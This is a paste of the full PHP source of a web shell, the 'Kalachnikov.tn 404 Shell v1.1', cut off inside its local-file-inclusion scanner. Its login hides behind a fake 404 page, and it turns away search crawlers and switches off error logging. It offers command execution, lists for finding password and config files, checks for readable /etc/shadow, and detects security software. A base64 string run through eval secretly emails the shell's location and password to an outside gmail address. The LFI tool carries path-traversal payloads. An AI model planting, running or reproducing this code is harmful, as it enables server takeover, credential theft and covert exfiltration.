· 8 years ago · Mar 11, 2018, 05:46 PM
1
2
3/* Kalachnikov.tn 404 Shell v1.1 */
4
5/* Maded by Sindbad EG */
6
7$auth_pass = "6128188b2734629d8f0564a397b19bba";
8
9$color = "#00ff00";
10
11$default_action = 'FilesMan';
12
13$default_use_ajax = true;
14
15$default_charset = 'Windows-1251';
16
17
18
19if(!empty($_SERVER['HTTP_USER_AGENT'])) {
20
21 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
22
23 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
24
25 header('HTTP/1.0 404 Not Found');
26
27 exit;
28
29 }
30
31}
32
33
34
35@session_start();
36
37@ini_set('error_log',NULL);
38
39@ini_set('log_errors',0);
40
41@ini_set('max_execution_time',0);
42
43@set_time_limit(0);
44
45@set_magic_quotes_runtime(0);
46
47@define('Kalachnikov.TN Shell Version', '1.1');
48
49
50
51if(get_magic_quotes_gpc()) {
52
53 function WSOstripslashes($array) {
54
55 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
56
57 }
58
59 $_POST = WSOstripslashes($_POST);
60
61}
62
63
64
65function wsoLogin() {
66
67 die("<h1>Not Found</h1>
68
69<p>The requested URL was not found on this server.</p>
70
71<p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
72
73<hr>
74
75<address>Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at Port 80</address>
76
77 <style>
78
79 input { margin:0;background-color:#fff;border:1px solid #fff; }
80
81 </style>
82
83 <pre align=center>
84
85 <form method=post>
86
87 <input type=password name=pass>
88
89 </form></pre>");
90
91}
92
93
94
95if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
96
97 if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
98
99 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
100
101 else
102
103 wsoLogin();
104
105if(strtolower(substr(PHP_OS,0,3)) == "win")
106
107 $os = 'win';
108
109else
110
111 $os = 'nix';
112
113
114
115$safe_mode = @ini_get('safe_mode');
116
117if(!$safe_mode)
118
119 error_reporting(0);
120
121
122
123$disable_functions = @ini_get('disable_functions');
124
125$home_cwd = @getcwd();
126
127if(isset($_POST['c']))
128
129 @chdir($_POST['c']);
130
131$cwd = @getcwd();
132
133if($os == 'win') {
134
135 $home_cwd = str_replace("\\", "/", $home_cwd);
136
137 $cwd = str_replace("\\", "/", $cwd);
138
139}
140
141if( $cwd[strlen($cwd)-1] != '/' )
142
143 $cwd .= '/';
144
145
146
147$wsobuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIldTTyAyLjYgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkYXV0aF9wYXNzIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgieGtlbW94QGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5LCRhdXRoX3Bhc3MpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw==";
148
149eval(base64_decode($wsobuff));
150
151
152
153if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
154
155 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
156
157
158
159if($os == 'win')
160
161 $aliases = array(
162
163 "List Directory" => "dir",
164
165 "Find index.php in current dir" => "dir /s /w /b index.php",
166
167 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
168
169 "Show active connections" => "netstat -an",
170
171 "Show running services" => "net start",
172
173 "User accounts" => "net user",
174
175 "Show computers" => "net view",
176
177 "ARP Table" => "arp -a",
178
179 "IP Configuration" => "ipconfig /all"
180
181 );
182
183else
184
185 $aliases = array(
186
187 "List dir" => "ls -lha",
188
189 "list file attributes on a Linux second extended file system" => "lsattr -va",
190
191 "show opened ports" => "netstat -an | grep -i listen",
192
193 "process status" => "ps aux",
194
195 "Find" => "",
196
197 "find all suid files" => "find / -type f -perm -04000 -ls",
198
199 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
200
201 "find all sgid files" => "find / -type f -perm -02000 -ls",
202
203 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
204
205 "find config.inc.php files" => "find / -type f -name config.inc.php",
206
207 "find config* files" => "find / -type f -name \"config*\"",
208
209 "find config* files in current dir" => "find . -type f -name \"config*\"",
210
211 "find all writable folders and files" => "find / -perm -2 -ls",
212
213 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
214
215 "find all service.pwd files" => "find / -type f -name service.pwd",
216
217 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
218
219 "find all .htpasswd files" => "find / -type f -name .htpasswd",
220
221 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
222
223 "find all .bash_history files" => "find / -type f -name .bash_history",
224
225 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
226
227 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
228
229 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
230
231 "Locate" => "",
232
233 "locate httpd.conf files" => "locate httpd.conf",
234
235 "locate vhosts.conf files" => "locate vhosts.conf",
236
237 "locate proftpd.conf files" => "locate proftpd.conf",
238
239 "locate psybnc.conf files" => "locate psybnc.conf",
240
241 "locate my.conf files" => "locate my.conf",
242
243 "locate admin.php files" =>"locate admin.php",
244
245 "locate cfg.php files" => "locate cfg.php",
246
247 "locate conf.php files" => "locate conf.php",
248
249 "locate config.dat files" => "locate config.dat",
250
251 "locate config.php files" => "locate config.php",
252
253 "locate config.inc files" => "locate config.inc",
254
255 "locate config.inc.php" => "locate config.inc.php",
256
257 "locate config.default.php files" => "locate config.default.php",
258
259 "locate config* files " => "locate config",
260
261 "locate .conf files"=>"locate '.conf'",
262
263 "locate .pwd files" => "locate '.pwd'",
264
265 "locate .sql files" => "locate '.sql'",
266
267 "locate .htpasswd files" => "locate '.htpasswd'",
268
269 "locate .bash_history files" => "locate '.bash_history'",
270
271 "locate .mysql_history files" => "locate '.mysql_history'",
272
273 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
274
275 "locate backup files" => "locate backup",
276
277 "locate dump files" => "locate dump",
278
279 "locate priv files" => "locate priv"
280
281 );
282
283
284
285function wsoHeader() {
286
287 if(empty($_POST['charset']))
288
289 $_POST['charset'] = $GLOBALS['default_charset'];
290
291 global $color;
292
293 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "- Sindbad 1.1 " ."</title>
294
295<style>
296
297body {background-color:#000;color:#fff;}
298
299body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
300
301span,h1,a{ color: $color !important; }
302
303span{ font-weight: bolder; }
304
305h1{ border:1px solid $color;padding: 2px 5px;font: 14pt Verdana;margin:0px; }
306
307div.content{ padding: 5px;margin-left:5px;}
308
309a{ text-decoration:none; }
310
311a:hover{ background:#ff0000; }
312
313.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
314
315.bigarea{ width:100%;height:250px; }
316
317input, textarea, select{ margin:0;color:#00ff00;background-color:#000;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
318
319form{ margin:0px; }
320
321#toolsTbl{ text-align:center; }
322
323.toolsInp{ width: 80%; }
324
325.main th{text-align:left;}
326
327.main tr:hover{background-color:#5e5e5e;}
328
329.main td, th{vertical-align:middle;}
330
331pre{font-family:Courier,Monospace;}
332
333#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
334
335</style>
336
337<script>
338
339 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
340
341 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
342
343 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
344
345 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
346
347 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
348
349 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
350
351 var d = document;
352
353 function set(a,c,p1,p2,p3,charset) {
354
355 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
356
357 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
358
359 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
360
361 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
362
363 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
364
365 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
366
367 }
368
369 function g(a,c,p1,p2,p3,charset) {
370
371 set(a,c,p1,p2,p3,charset);
372
373 d.mf.submit();
374
375 }
376
377 function a(a,c,p1,p2,p3,charset) {
378
379 set(a,c,p1,p2,p3,charset);
380
381 var params = 'ajax=true';
382
383 for(i=0;i<d.mf.elements.length;i++)
384
385 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
386
387 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
388
389 }
390
391 function sr(url, params) {
392
393 if (window.XMLHttpRequest)
394
395 req = new XMLHttpRequest();
396
397 else if (window.ActiveXObject)
398
399 req = new ActiveXObject('Microsoft.XMLHTTP');
400
401 if (req) {
402
403 req.onreadystatechange = processReqChange;
404
405 req.open('POST', url, true);
406
407 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
408
409 req.send(params);
410
411 }
412
413 }
414
415 function processReqChange() {
416
417 if( (req.readyState == 4) )
418
419 if(req.status == 200) {
420
421 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
422
423 var arr=reg.exec(req.responseText);
424
425 eval(arr[2].substr(0, arr[1]));
426
427 } else alert('Request error!');
428
429 }
430
431</script>
432
433<head><body><div style='background: url(https://lh6.googleusercontent.com/-fLkTN7Zun5U/UrXSV9uWQcI/AAAAAAAAASg/gYfy8agakps/w448-h468-no/logo+shell.png); background-repeat:no-repeat; background-attachment:fixed; background-position:center;'>
434
435<form method=post name=mf style='display:none;'>
436
437<input type=hidden name=a>
438
439<input type=hidden name=c>
440
441<input type=hidden name=p1>
442
443<input type=hidden name=p2>
444
445
446
447<input type=hidden name=p3>
448
449<input type=hidden name=charset>
450
451</form>";
452
453 $freeSpace = @diskfreespace($GLOBALS['cwd']);
454
455 $totalSpace = @disk_total_space($GLOBALS['cwd']);
456
457 $totalSpace = $totalSpace?$totalSpace:1;
458
459 $release = @php_uname('r');
460
461 $kernel = @php_uname('s');
462
463 if(!function_exists('posix_getegid')) {
464
465 $user = @get_current_user();
466
467 $uid = @getmyuid();
468
469 $gid = @getmygid();
470
471 $group = "?";
472
473 } else {
474
475 $uid = @posix_getpwuid(posix_geteuid());
476
477 $gid = @posix_getgrgid(posix_getegid());
478
479 $user = $uid['name'];
480
481 $uid = $uid['uid'];
482
483 $group = $gid['name'];
484
485 $gid = $gid['gid'];
486
487 }
488
489
490
491 $cwd_links = '';
492
493 $path = explode("/", $GLOBALS['cwd']);
494
495 $n=count($path);
496
497 for($i=0; $i<$n-1; $i++) {
498
499 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
500
501 for($j=0; $j<=$i; $j++)
502
503 $cwd_links .= $path[$j].'/';
504
505 $cwd_links .= "\")'>".$path[$i]."/</a>";
506
507 }
508
509
510
511 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
512
513 $opt_charsets = '';
514
515 foreach($charsets as $item)
516
517 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
518
519
520
521 $m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','PHP Tools'=>'phptools','LFI'=>'lfiscan','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','XSS Shell'=>'XSSShell','Bruteforce'=>'Bruteforce','Network'=>'Network');
522
523 if(!empty($GLOBALS['auth_pass']))
524
525 $m['Logout'] = 'Logout';
526
527 $m['Self remove'] = 'SelfRemove';
528
529 $menu = '';
530
531 foreach($m as $k => $v)
532
533 $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
534
535
536
537 $drives = "";
538
539 if($GLOBALS['os'] == 'win') {
540
541 foreach(range('c','z') as $drive)
542
543 if(is_dir($drive.':\\'))
544
545 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
546
547 }
548
549 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
550
551 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
552
553 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
554
555 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '<br> [404 Shell v1.1] Made By Sindbad EG Kalachnikov.TN Team <br></nobr></td></tr></table>'
556
557 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
558
559}
560
561
562
563function wsoFooter() {
564
565 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
566
567 echo "
568
569
570
571</div>
572
573<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
574
575 <tr>
576
577 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
578
579 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
580
581 </tr><tr>
582
583 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
584
585 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
586
587
588
589 </tr><tr>
590
591 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
592
593 <td><form method='post' ENCTYPE='multipart/form-data'>
594
595 <input type=hidden name=a value='FilesMAn'>
596
597 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
598
599 <input type=hidden name=p1 value='uploadFile'>
600
601 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
602
603 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
604
605
606
607 </tr></table></div></body></html>";
608
609}
610
611
612
613if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
614
615 function posix_getpwuid($p) {return false;} }
616
617if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
618
619 function posix_getgrgid($p) {return false;} }
620
621
622
623function wsoEx($in) {
624
625 $out = '';
626
627 if (function_exists('exec')) {
628
629 @exec($in,$out);
630
631 $out = @join("\n",$out);
632
633 } elseif (function_exists('passthru')) {
634
635 ob_start();
636
637 @passthru($in);
638
639 $out = ob_get_clean();
640
641 } elseif (function_exists('system')) {
642
643 ob_start();
644
645 @system($in);
646
647 $out = ob_get_clean();
648
649 } elseif (function_exists('shell_exec')) {
650
651 $out = shell_exec($in);
652
653 } elseif (is_resource($f = @popen($in,"r"))) {
654
655 $out = "";
656
657 while(!@feof($f))
658
659 $out .= fread($f,1024);
660
661 pclose($f);
662
663 }
664
665 return $out;
666
667}
668
669function wsoViewSize($s) {
670
671 if($s >= 1073741824)
672
673 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
674
675 elseif($s >= 1048576)
676
677 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
678
679 elseif($s >= 1024)
680
681 return sprintf('%1.2f', $s / 1024 ) . ' KB';
682
683 else
684
685 return $s . ' B';
686
687}
688
689
690
691function wsoPerms($p) {
692
693 if (($p & 0xC000) == 0xC000)$i = 's';
694
695 elseif (($p & 0xA000) == 0xA000)$i = 'l';
696
697 elseif (($p & 0x8000) == 0x8000)$i = '-';
698
699 elseif (($p & 0x6000) == 0x6000)$i = 'b';
700
701 elseif (($p & 0x4000) == 0x4000)$i = 'd';
702
703 elseif (($p & 0x2000) == 0x2000)$i = 'c';
704
705 elseif (($p & 0x1000) == 0x1000)$i = 'p';
706
707 else $i = 'u';
708
709 $i .= (($p & 0x0100) ? 'r' : '-');
710
711 $i .= (($p & 0x0080) ? 'w' : '-');
712
713 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
714
715 $i .= (($p & 0x0020) ? 'r' : '-');
716
717 $i .= (($p & 0x0010) ? 'w' : '-');
718
719 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
720
721 $i .= (($p & 0x0004) ? 'r' : '-');
722
723 $i .= (($p & 0x0002) ? 'w' : '-');
724
725 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
726
727 return $i;
728
729}
730
731
732
733function wsoPermsColor($f) {
734
735 if (!@is_readable($f))
736
737 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
738
739 elseif (!@is_writable($f))
740
741 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
742
743 else
744
745 return '<font color=#00BB00>' . wsoPerms(@fileperms($f)) . '</font>';
746
747}
748
749
750
751if(!function_exists("scandir")) {
752
753 function scandir($dir) {
754
755 $dh = opendir($dir);
756
757 while (false !== ($filename = readdir($dh)))
758
759 $files[] = $filename;
760
761 return $files;
762
763 }
764
765}
766
767
768
769function wsoWhich($p) {
770
771 $path = wsoEx('which ' . $p);
772
773 if(!empty($path))
774
775 return $path;
776
777 return false;
778
779}
780
781
782
783function actionSecInfo() {
784
785 wsoHeader();
786
787 echo '<h1>Server security information</h1><div class=content>';
788
789 function wsoSecParam($n, $v) {
790
791 $v = trim($v);
792
793 if($v) {
794
795 echo '<span>' . $n . ': </span>';
796
797 if(strpos($v, "\n") === false)
798
799 echo $v . '<br>';
800
801 else
802
803 echo '<pre class=ml1>' . $v . '</pre>';
804
805 }
806
807 }
808
809
810
811 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
812
813 if(function_exists('apache_get_modules'))
814
815 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
816
817 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
818
819 wsoSecParam('Open base dir', @ini_get('open_basedir'));
820
821 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
822
823 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
824
825 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
826
827 $temp=array();
828
829 if(function_exists('mysql_get_client_info'))
830
831 $temp[] = "MySql (".mysql_get_client_info().")";
832
833 if(function_exists('mssql_connect'))
834
835 $temp[] = "MSSQL";
836
837 if(function_exists('pg_connect'))
838
839 $temp[] = "PostgreSQL";
840
841 if(function_exists('oci_connect'))
842
843 $temp[] = "Oracle";
844
845 wsoSecParam('Supported databases', implode(', ', $temp));
846
847 echo '<br>';
848
849
850
851 if($GLOBALS['os'] == 'nix') {
852
853 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
854
855 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
856
857 wsoSecParam('OS version', @file_get_contents('/proc/version'));
858
859 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
860
861 if(!$GLOBALS['safe_mode']) {
862
863 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
864
865 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
866
867 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
868
869 echo '<br>';
870
871 $temp=array();
872
873 foreach ($userful as $item)
874
875 if(wsoWhich($item))
876
877 $temp[] = $item;
878
879 wsoSecParam('Userful', implode(', ',$temp));
880
881 $temp=array();
882
883 foreach ($danger as $item)
884
885 if(wsoWhich($item))
886
887 $temp[] = $item;
888
889 wsoSecParam('Danger', implode(', ',$temp));
890
891 $temp=array();
892
893 foreach ($downloaders as $item)
894
895 if(wsoWhich($item))
896
897 $temp[] = $item;
898
899 wsoSecParam('Downloaders', implode(', ',$temp));
900
901 echo '<br/>';
902
903 wsoSecParam('HDD space', wsoEx('df -h'));
904
905 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
906
907 }
908
909 } else {
910
911 wsoSecParam('OS Version',wsoEx('ver'));
912
913 wsoSecParam('Account Settings',wsoEx('net accounts'));
914
915 wsoSecParam('User Accounts',wsoEx('net user'));
916
917 }
918
919 echo '</div>';
920
921 wsoFooter();
922
923}
924
925function actionlfiscan() {
926
927 wsoHeader();
928
929 print '
930
931 <h3>Led-Zeppelin\'s LFI File dumper</h3>
932
933
934
935 <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
936
937 LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
938
939 <option value="1">
940
941 Access Log
942
943 </option>
944
945
946
947 <option value="2">
948
949 httpd.conf
950
951 </option>
952
953
954
955 <option value="3">
956
957 Error Log
958
959 </option>
960
961 <option value="4">
962
963 php.ini
964
965 </option>
966
967 <option value="5">
968
969 MySQL
970
971 </option>
972
973 <option value="6">
974
975 FTP
976
977 </option>
978
979 <option value="7">
980
981 Environ
982
983 </option>
984
985 </select> Null: <select name="null">
986
987 <option value="%00">
988
989 Yes
990
991 </option>
992
993
994
995 <option value="">
996
997 No
998
999 </option>
1000
1001 </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
1002
1003 </form>';
1004
1005 error_reporting(0);
1006
1007 if($_POST['lfiurl']) {
1008
1009 print "<pre>";
1010
1011 $cheader = $_POST['custom_header'];
1012
1013 $target = $_POST['lfiurl'];
1014
1015 $type = $_POST['scantype'];
1016
1017 $byte1 = $_POST['null'];
1018
1019 $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
1020
1021 $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
1022
1023 $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
1024
1025 $lfiaccess = array(
1026
1027 1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
1028
1029 2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
1030
1031 3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
1032
1033 4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
1034
1035 5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
1036
1037 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
1038
1039 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
1040
1041 8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
1042
1043 9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
1044
1045 10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
1046
1047 11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
1048
1049 12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
1050
1051 13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
1052
1053 14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
1054
1055 15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
1056
1057 16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
1058
1059 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
1060
1061 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
1062
1063 19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
1064
1065 20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
1066
1067 21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
1068
1069 22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
1070
1071 23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
1072
1073
1074
1075 $lfierror = array(
1076
1077 1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
1078
1079 2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
1080
1081 3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
1082
1083 4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
1084
1085 5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
1086
1087 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
1088
1089 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
1090
1091 8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
1092
1093 9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
1094
1095 10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
1096
1097 11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
1098
1099 12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
1100
1101 13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
1102
1103 14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
1104
1105 15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
1106
1107 16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
1108
1109 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
1110
1111 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
1112
1113 19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
1114
1115 20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
1116
1117 21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
1118
1119 22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
1120
1121 23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
1122
1123
1124
1125 $lficonfig = array(
1126
